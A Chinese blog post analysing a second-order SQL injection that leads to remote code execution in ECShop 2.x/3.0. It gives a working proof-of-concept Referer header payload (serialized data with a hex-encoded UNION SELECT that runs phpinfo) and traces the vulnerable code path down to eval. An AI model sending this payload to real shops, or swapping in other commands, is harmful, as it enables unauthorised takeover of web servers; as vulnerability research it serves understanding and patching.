ECShop 2.x 3.0代码执行漏洞分析

之前渗透时遇到了这样一个站,当时看到这个二次注入引发的命令执行的过程有点意思,于是抽了个时间简单的复现分析了一下

前言

之前渗透时遇到了这样一个站,当时看到这个命令执行的过程有点东西,于是抽了个时间复现一下

环境搭建

IDE: PHPstorm
代码:
ECshop3.0
ECShop 2.7.3

POC

ECshop3.0
php 5.6

1
Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}}45ea207d7a2b68c49582d2d22adf953a

-w1613

漏洞分析

user.php 305行渲染的代码

1
2
3
4
5
6
7
8
9
10
//310行
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
// 如果没有user.php, 则$back_act为referer
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}

// 330行
$smarty->assign('back_act', $back_act); // 渲染referer到模板
$smarty->display('user_passport.dwt');

跟进display函数,includes/cls_template.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 106行
$out = $this->fetch($filename, $cache_id); // fetch模板,渲染变量

if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out); // _echash为定值
foreach ($k AS $key => $val)
{
if (($key % 2) == 1) // 如果是奇数个
{
// 45ea207d7a2b68c49582d2d22adf953a这个相当于分割符,方便从html提取出序列化数据
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}

跟进insert_mod函数,includes/cls_template.php 1168行

1
2
3
4
5
6
7
8
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name); // |前的为函数名,后为参数
$para = unserialize($para);
$fun = 'insert_' . $fun;

return $fun($para); // 可以执行insert_开头的函数
}

可以通过控制referer,执行insert_开头的任意函数,来看includes/lib_insert.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 141行
function insert_ads($arr)
{
static $static_res = NULL;

$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
// arr可控,形成sql注入, 继续往下跟

// 170行
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id']) // 查库的第2列字段
{
continue;
}
$position_style = $row['position_style']; // 查库的第9列
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style); // 重新带入模板渲染

接着,includes/patch/includes_cls_template_fetch_str.php

1
2
3
<?php
$template = $this;
return preg_replace_callback("/{([^\}\{\n]*)}/", function($r) use(&$template){return $template->select($r[1]);}, $source);

调select函数,includes/cls_template.php

1
2
//375行 
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';

includes/cls_template.php get_val593行

1
2
// 处理掉变量标签
$p = $this->make_var($val);

跟进make_var, includes/cls_template.php

1
2
3
4
5
6
7
8
9
10
11
12
13
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}

// 705行
return $p;

代码执行,includes/cls_template.php

1
2
3
4
5
6
7
8
9
10
//1193行
function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();

return $content;
}